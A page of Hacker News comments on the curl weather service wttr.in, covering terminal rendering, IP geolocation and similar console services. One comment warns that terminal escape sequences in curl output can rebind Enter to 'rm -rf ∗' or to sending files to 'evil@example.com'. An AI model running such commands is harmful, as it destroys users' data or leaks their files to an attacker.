Live data from Hacker News

Curl Wttr.in

github.com

81–90 of 128 posts

Re: Curl Wttr.in

#81
post #75

Earlier quoted context omitted.

What is wego? Google only seems to give me travel companies and alternatives.

I didn't know either! Searching for "wego weather" shows this CLI: https://github.com/schachmat/wego Reading the readme for chubin/wttr.in also clarifies what "wego" is: > wttr.in uses wego for visualization and various data sources for weather forecast information. "wego" in that sentence is also linked to schachmat/wego so seems to confirm is that one.

See my comment in the neighbor thread

Re: Curl Wttr.in

#82
What I am most amazed of is how they manage to get my actual location always right...

I mean, we all now those "geolocate me" things on websites, but I've never encountered a single page where it worked; it's always hilariously all over the place (shows the headquarter of my provider, or just locates me in Frankfurt at the DE-CIX).

But wttr.in is different. I wonder what the magic ingredient is and why no one else seemingly has it.

Re: Curl Wttr.in

#83
It would be cool to have a curl-able service directory of those services on the web, and also a standard way to know the quota of refresh, and some standard /help URL to know more about the options

Re: Curl Wttr.in

#84
post #32

Earlier quoted context omitted.

Glad to hear that, though I wasn't aware color output now works on windows command. I was under the impression the ansi.sys driver or similar was still necessary for color support.

My team shipped the next generation (after ANSI.SYS) of VT support with the first release of Windows 10 back in 2015. We keep adding things to it, trying to make sure we stay compatible with Xterm. It really is a different landscape now :) The console subsystem is open-source at https://github.com/microsoft/terminal . Feel free to file bugs, complain, or what have you. That’s what we’re here for! To quote GP, “better…

Is there anyway to get the new terminal working on Windows 10 LTSC? It seems as though a newer version of Windows is required. A backport maybe?

Re: Curl Wttr.in

#85
post #82

What I am most amazed of is how they manage to get my actual location always right... I mean, we all now those "geolocate me" things on websites, but I've never encountered a single page where it worked; it's always hilariously all over the place (shows the headquarter of my provider, or just locates me in Frankfurt at the DE-CIX). But wttr.in is different. I wonder what the magic ingredient is and why no one else se…

It depends entirely on the geolocation database being used to map your IP address to location. wttr.in seems to use https://www.ip2location.com/ so maybe they have better mappings for your ISP. Bigger providers tend to use Akamai or similar.

Re: Curl Wttr.in

#86
post #48

I will take this opportunity to offer some caution: From what I understand, “curl example.com” is almost exactly as risky as “curl example.com | bash”, since curl does not escape terminal command sequences, and those can include key rebindings; e.g. your Enter key can be rebound to “rm -rf ∗” or “sendfile ∗ evil@example.com”.

It was the case indeed (many many years ago), we discussed at the anuualy curl hackers conference in Nuremberg back in 2017, but the only terminals that we managed to find with the support of this were not younger than 2001. Anyway, one can write a small filter, to cut any suspicious sequences from the output off, and add some wrapper like that to your bashrc: curl() { [ -t 1 ] && curl "$@" | sanitize || curl "$@"; }

I see you are using regular formatting for code/shell commands on your comments. Not that that's a problem but just a note you can use one of HN's comments formatting tips[0] for this.

Text after a blank line that is indented by two or more spaces is reproduced verbatim. (This is intended for code.)

[0]: https://news.ycombinator.com/formatdoc

Re: Curl Wttr.in

#87
post #35

I use this all the time. I find this option pretty neat: curl wttr.in/Moon Shows current lunar phase. I use Termux[0] on my phone with curl installed. Pretty handy. Also, check out rate.sx[1] from the same author: curl rate.sx Shows information about current exchange rates of cryptocoins. More similar console services: https://github.com/chubin/awesome-console-services [0]: https://termux.com/ [1]: https://github.com…

shameless plug: https://e.xec.sh

another shameless plug:

  curl ipaddress.sh

Re: Curl Wttr.in

#88
I love this on Linux, but it is also a good example of how awful the standard Windows command prompt is at formatting :(

Re: Curl Wttr.in

#89
post #67

Neat script! On a related note and something I use more frequently : curl ifconfig.me Easy way to find the public IP :)

Shameless plug: curl ipaddy.net

Returns public IP address, ISO country code, User-Agent string, and a new line (to ensure the terminal prompt doesn't get shifted after displaying the response).[0][1]

- [0] https://use.ipaddy.net - [1] https://github.com/oedmarap/ipaddy

Re: Curl Wttr.in

#90
post #88

I love this on Linux, but it is also a good example of how awful the standard Windows command prompt is at formatting :(

Works fine for me (Windows 10 1909 with Windows Terminal)
Post reply on HN